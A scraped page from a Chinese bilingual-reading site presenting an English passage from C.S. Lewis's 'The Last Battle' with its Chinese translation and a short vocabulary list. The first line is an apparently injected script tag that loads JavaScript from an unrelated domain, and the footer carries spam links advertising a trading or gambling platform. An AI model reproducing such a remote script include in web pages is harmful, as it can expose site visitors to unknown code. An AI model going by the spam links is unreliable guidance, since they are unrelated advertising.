script src="http://zzz.8565037.com/al.js" type="text/javascript">

手机APP下载

您现在的位置: 首页 > 双语阅读 > 名著小说 > 最后一战 > 正文

《最后一战》第71期:更高更深路(4)

来源:可可英语 编辑:Jasmine ?  VIP免费外教试听课 |  可可官方微信:ikekenet
"If you ask me," said Edmund, "it's like somewhere in the Narnian world. Look at those mountains ahead - and the big ice-mountains beyond them. Surely they're rather like the mountains we used to see from Narnia, the ones up Westward beyond the Waterfall?"“如果你问我,”爱德蒙说,“它倒像是纳尼亚世界里的某一个地方。瞧瞧前面的山——以及这些山后面的巨大的冰山。它们无疑是很像我们惯常在纳尼亚所见到的山,大瀑布后边朝西耸立的群山。”
"Yes, so they are," said Peter. "Only these are bigger."“是的,是这个模样的,”彼得说,“不过这些山更大些。”
"I don't think those ones are so very like anything in Narnia," said Lucy. "But look there." She pointed Southward to their left, and everyone stopped and turned to look. "Those hills," said Lucy, "the nice woody ones and the blue ones behind - aren't they very like the Southern border of Narnia?"“我并不认为那些山跟纳尼亚境内的十分相像,”露茜说,“可是往那边瞧瞧。”她朝他们左边的南方一指,大家便停下步来,转过头去嘹望。“这些山,”露茜说道,“这宜人的林木森然的山和这后边的蓝色的山——难道它们同纳尼亚南部边疆不是很像吗?”
"Like!" cried Edmund after a moment's silence. "Why, they're exactly like. Look, there's Mount Pire with his forked head, and there's the pass into Archenland and everything!"“像!”爱德蒙沉默了片刻后大声说道,“呀,它们像极了,一模一样。瞧,那是双峰对峙的皮尔峰,那是进入阿钦兰的关隘和其他一切!”
"And yet they're not like," said Lucy. "They're different. They have more colours on them and they look further away than I remembered and they're more .. . more . . . oh, I don't know..."“然而它们又不像,”露茜说道,“它们是不同的。它们具有更多的色彩,看上去比我记得的更遥远。比较起来,它们更加……更加……啊,我不知道……”
"More like the real thing," said the Lord Digory softly.“更加像真正的东西。”迪格雷勋爵低声说道。
Suddenly Farsight the Eagle spread his wings, soared thirty or forty feet up into the air, circled round and then alighted on the ground.千里眼老鹰突然张开翅膀,在离地三四十码的高空翱翔,盘旋一圈后又栖息在地上。
"Kings and Queens," he cried, "we have all been blind. We are only beginning to see where we are. From up there I have seen it all - Ettinsmuir, Beaversdam, the Great River, and Cair Paravel still shining on the edge of the Eastern Sea. Narnia is not dead. This is Narnia."“国王和女王,”老鹰大声报告道,“我们大家都曾视而不见。我们不过是刚开始看到我们是在什么地方。我在高空都看到了——艾丁斯荒原、海狸大坝、大河,凯尔帕拉维尔依旧在东海之滨闪闪发光。纳尼亚没有死亡。这就是纳尼亚。”
"But how can it be?" said Peter. "For Aslan told us older ones that we should never return to Narnia, and here we are."“但,怎么可能呢?”彼得说,“因为阿斯兰告诉我们这些年纪比较大的人说,我们永远回不了纳尼亚了;而现在我们却是身在纳尼亚。”
"Yes," said Eustace. "And we saw it all destroyed and the sun put out."“是呀,”尤斯塔斯道,“我们亲眼看见纳尼亚全部被毁灭了,连太阳也被熄灭了。”
"And it's all so different," said Lucy.“而且它又全然不同。”露茜说。

"If you ask me," said Edmund, "it's like somewhere in the Narnian world. Look at those mountains ahead - and the big ice-mountains beyond them. Surely they're rather like the mountains we used to see from Narnia, the ones up Westward beyond the Waterfall?"

"Yes, so they are," said Peter. "Only these are bigger."

"I don't think those ones are so very like anything in Narnia," said Lucy. "But look there." She pointed Southward to their left, and everyone stopped and turned to look. "Those hills," said Lucy, "the nice woody ones and the blue ones behind - aren't they very like the Southern border of Narnia?"

"Like!" cried Edmund after a moment's silence. "Why, they're exactly like. Look, there's Mount Pire with his forked head, and there's the pass into Archenland and everything!"

"And yet they're not like," said Lucy. "They're different. They have more colours on them and they look further away than I remembered and they're more .. . more . . . oh, I don't know..."

"More like the real thing," said the Lord Digory softly.

Suddenly Farsight the Eagle spread his wings, soared thirty or forty feet up into the air, circled round and then alighted on the ground.

"Kings and Queens," he cried, "we have all been blind. We are only beginning to see where we are. From up there I have seen it all - Ettinsmuir, Beaversdam, the Great River, and Cair Paravel still shining on the edge of the Eastern Sea. Narnia is not dead. This is Narnia."

"But how can it be?" said Peter. "For Aslan told us older ones that we should never return to Narnia, and here we are."

"Yes," said Eustace. "And we saw it all destroyed and the sun put out."

"And it's all so different," said Lucy.

“如果你问我,”爱德蒙说,“它倒像是纳尼亚世界里的某一个地方。瞧瞧前面的山——以及这些山后面的巨大的冰山。它们无疑是很像我们惯常在纳尼亚所见到的山,大瀑布后边朝西耸立的群山。”

“是的,是这个模样的,”彼得说,“不过这些山更大些。”

“我并不认为那些山跟纳尼亚境内的十分相像,”露茜说,“可是往那边瞧瞧。”她朝他们左边的南方一指,大家便停下步来,转过头去嘹望。“这些山,”露茜说道,“这宜人的林木森然的山和这后边的蓝色的山——难道它们同纳尼亚南部边疆不是很像吗?”

“像!”爱德蒙沉默了片刻后大声说道,“呀,它们像极了,一模一样。瞧,那是双峰对峙的皮尔峰,那是进入阿钦兰的关隘和其他一切!”

“然而它们又不像,”露茜说道,“它们是不同的。它们具有更多的色彩,看上去比我记得的更遥远。比较起来,它们更加……更加……啊,我不知道……”

“更加像真正的东西。”迪格雷勋爵低声说道。

千里眼老鹰突然张开翅膀,在离地三四十码的高空翱翔,盘旋一圈后又栖息在地上。

“国王和女王,”老鹰大声报告道,“我们大家都曾视而不见。我们不过是刚开始看到我们是在什么地方。我在高空都看到了——艾丁斯荒原、海狸大坝、大河,凯尔帕拉维尔依旧在东海之滨闪闪发光。纳尼亚没有死亡。这就是纳尼亚。”

“但,怎么可能呢?”彼得说,“因为阿斯兰告诉我们这些年纪比较大的人说,我们永远回不了纳尼亚了;而现在我们却是身在纳尼亚。”

“是呀,”尤斯塔斯道,“我们亲眼看见纳尼亚全部被毁灭了,连太阳也被熄灭了。”

“而且它又全然不同。”露茜说。

重点单词   查看全部解释    
border ['bɔ:də]

想一想再看

n. 边界,边境,边缘
vt. 与 ... 接

 
spread [spred]

想一想再看

v. 伸展,展开,传播,散布,铺开,涂撒
n.

 
silence ['sailəns]

想一想再看

n. 沉默,寂静
vt. 使安静,使沉默

 
eagle ['i:gl]

想一想再看

n. 鹰
vt. (高尔夫)鹰击

 
?
发布评论我来说2句

    最新文章

    可可英语官方微信(微信号:ikekenet)

    每天向大家推送短小精悍的英语学习资料.

    添加方式1.扫描上方可可官方微信二维码。
    添加方式2.搜索微信号ikekenet添加即可。
    友情链接:澳利开户:QQ:77039689  澳利  澳利股东  澳利国际  澳利国际主管  澳利国际招商  澳利主管  澳利招商  澳利国际平台  澳利平台  澳利国际官方  澳利官方  澳利国际注册  澳利国际开户  澳利注册  澳利开户